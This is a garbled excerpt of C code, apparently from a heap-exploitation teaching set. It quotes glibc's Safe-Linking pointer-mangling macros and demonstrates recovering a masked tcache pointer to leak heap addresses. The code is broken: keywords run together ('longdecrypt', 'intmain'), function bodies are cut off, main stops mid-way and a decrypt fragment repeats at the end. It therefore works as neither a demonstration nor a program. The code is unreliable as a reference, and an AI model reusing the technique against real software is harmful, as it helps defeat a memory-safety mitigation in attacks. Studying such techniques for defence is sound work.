/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */ #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
longdecrypt(long cipher) { puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); puts("because of the 12bit sliding."); puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); long key = 0; long plain;
intmain() { /* * This technique demonstrates how to recover the original content from a poisoned * value because of the safe-linking mechanism. * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known * and the key (ASLR slide) is the same to the pointer's leading bits. * As a result, as long as the chunk where the pointer is stored is at the same page * of the pointer itself, the value of the pointer can be fully recovered. * Otherwise, we can also recover the pointer with the page-offset between the storer * and the pointer. What we demonstrate here is a special case whose page-offset is 0. * For demonstrations of other more general cases, plz refer to * https://github.com/n132/Dec-Safe-Linking */
setbuf(stdin, NULL); setbuf(stdout, NULL);
// step 1: allocate chunks long *a = malloc(0x200); long *b = malloc(0x200); long *c = malloc(0x200); long *d = malloc(0x200); printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); malloc(0x10); puts("And then create a padding chunk to prevent consolidation.");
// step 2: free chunks puts("Now free chunk a and then free chunk b."); free(a); free(c); free(d); free(b); printf("Now the freelist is: [%p -> %p]\n", b, a); printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
// step 3: recover the values puts("Now decrypt the poisoned value"); long plaintext = decrypt(b[0]);
longdecrypt(long cipher) { puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); puts("because of the 12bit sliding."); puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); long key = 0; long plain;